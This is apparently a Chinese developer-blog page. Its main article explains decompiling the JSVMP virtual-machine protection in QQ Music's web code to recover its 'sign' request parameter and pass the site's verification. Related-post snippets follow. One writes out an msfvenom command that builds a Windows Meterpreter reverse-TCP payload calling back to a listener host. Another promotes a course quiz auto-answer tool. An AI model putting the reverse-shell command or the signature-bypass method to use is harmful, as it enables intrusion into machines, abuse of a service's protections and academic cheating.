news 2026/8/9 21:42:10

JSVMP反编译之QQ音乐

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
JSVMP反编译之QQ音乐

声明

本文仅供学习交流使用, 如侵立删!

目标网址

aHR0cHM6Ly95LnFxLmNvbS8=

JSVMP

JSVMP是一种JS代码虚拟化保护技术
原理是将JS源代码编译成自定义的字节码
这些字节码由操作码和操作数组成
并且这些字节码只能由特定的解释器执行

类比于解释型语言的实现与执行
比如
Java代码编译成Java字节码
由JVM执行
python代码编译成python字节码
由CPython执行
也就是说
JSVMP的本质是自定义字节码 + JS虚拟机的代码保护方案

目标代码

访问QQ音乐网址
使用关键字 P(r.data)
进行搜索
即可找到加密参数sign生成的代码位置

然后查看P函数代码
进入到了一个JSVMP中
这个JSVMP就是反编译的目标代码

JSVMP代码结构

浏览器中的JSVMP主要由两部分组成
加密自定义字节码

自定义虚拟机

JSVMP代码优化

在自定义虚拟机中
会对加密自定义字节码进行解密

并且在自定义虚拟机中
有两个相同的自定义解释器
第一个解释器

第二个解释器

针对自定义虚拟机的代码结构和运行流程
对其进行优化
方便后续反编译与调试

首先对加密自定义字节码进行解密
得到解密后的自定义字节码
然后删除与解密相关函数

最后对两个相同的自定义解释器
进行适当的修改
保留其中一个解释器

自定义虚拟机

自定义虚拟机主要分成三部分
执行环境(VMcontext)
对计算机执行环境的抽象模拟

在执行环境中
最重要的就是存储上下文环境信息的"容器"
根据这个"容器"结构
区分当前虚拟机是栈式虚拟机还是寄存器虚拟机

调度器(Dispatcher)
通过for循环和switch这种分发器结构实现的调度器
控制着程序正确的运行(取指和译码)

在调度器中
最关键的就是程序计数器PC
程序计数器控制着程序的执行流程

程序集(Handlers)
解释程序集由switch语句中的所有case块组成
每个case块对应一种自定义操作码的处理逻辑

反编译

根据程序集中不同case块所对应的处理逻辑
构建出相应的ast节点
从而生成js源代码的ast形式
最后将构建的ast转换成可读的js源代码
便完成了jsvmp的反编译

将JSVMP代码复制到Node环境中
引入Babel库
然后对虚拟机函数进行适当的修改
再创建一个数组变量
保存构建的ast节点
当虚拟机函数执行完后
将数组变量转换成program节点
最后将其转换成对应的js源码
写入到result_code.js文件中

自定义操作码节点构建

在JSVMP中
程序集一共有82个case块
根据执行流程
对执行case块进行相应的ast节点构建
因为case块比较多
这里只挑选其中几个进行讲解
case 2(函数声明)

case 46(函数声明)

case 2与case 46节点构建

case 21(算术运算)

case 21节点构建

反编译结果

对所有执行case块进行相应的节点构建后
运行程序
就得到了一份反编译代码

查看反编译代码
很容易就找到了加密方式

加密结果拼接

还有几个环境检测

运行环境检测

因为反编译后的代码有些难以阅读
同样需要进行优化
这时可以选择手动优化
也可以选择使用AI进行优化
这里我选择使用AI进行优化
优化完成后
就得到了一份程序功能等价
可阅读性和可调试性更高的代码

将优化后的代码替换浏览器的JSVMP代码

然后查看加密结果

最后查看验证请求
成功的通过了验证
说明反编译代码没有问题

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/31 3:59:58

Mermaid.js状态图实战手册:从零构建完整的状态追踪系统

Mermaid.js状态图实战手册:从零构建完整的状态追踪系统 【免费下载链接】mermaid 项目地址: https://gitcode.com/gh_mirrors/mer/mermaid Mermaid.js作为开源图表库的佼佼者,其状态图功能让复杂的系统状态转换变得直观易懂。无论您是软件工程师…

作者头像 李华
网站建设 2026/7/31 1:47:45

WELearn智能助手终极指南:5分钟学会高效网课学习

WELearn智能助手终极指南:5分钟学会高效网课学习 【免费下载链接】WELearnHelper 显示WE Learn随行课堂题目答案;支持班级测试;自动答题;刷时长;基于生成式AI(ChatGPT)的答案生成 项目地址: https://gitcode.com/gh_…

作者头像 李华
网站建设 2026/7/31 11:17:26

Git分支:代码世界的平行宇宙

🎬 导语:为什么 Branch 是 Git 的灵魂?如果说 git commit 是用来“存档”的,那么 git branch 就是用来“分身”的。 在实际开发中,我们不可能只做一件事。你可能正在开发一个新功能,突然老板让你紧急修复一…

作者头像 李华
网站建设 2026/8/4 6:20:22

复现meterpreter

​​​Meterpreter反向control1.生成payloadmsfvenom -p windows/meterpreter/reverse_tcp LHOST192.xxx.xx.130 LPORT5000 -f exe -o ~/桌面/payload.exe-p windows/meterpreter/reverse_tcp:payload类型,windows平台的Meterpreter反向TCP连接LHOST192.…

作者头像 李华
网站建设 2026/8/9 3:59:35

清华唐杰:发了长微博,最近的AI感悟

Datawhale干货 作者:唐杰,清华大学教授,智谱AI首席科学家最近有一些感悟,分享一下,希望对大家有用。以下为其感悟原文:一、关于scaling基座模型预训练使得大模型已经掌握世界常识知识,并且具备简…

作者头像 李华
网站建设 2026/8/9 0:10:43

PaddlePaddle镜像能否用于自动驾驶感知模块开发?

PaddlePaddle镜像在自动驾驶感知模块开发中的可行性与实践 在智能驾驶技术加速落地的今天,感知系统的研发效率与部署灵活性正成为决定产品迭代速度的关键因素。一辆L3级以上的自动驾驶汽车每秒需处理来自多个摄像头、雷达等传感器的海量数据,而背后支撑这…

作者头像 李华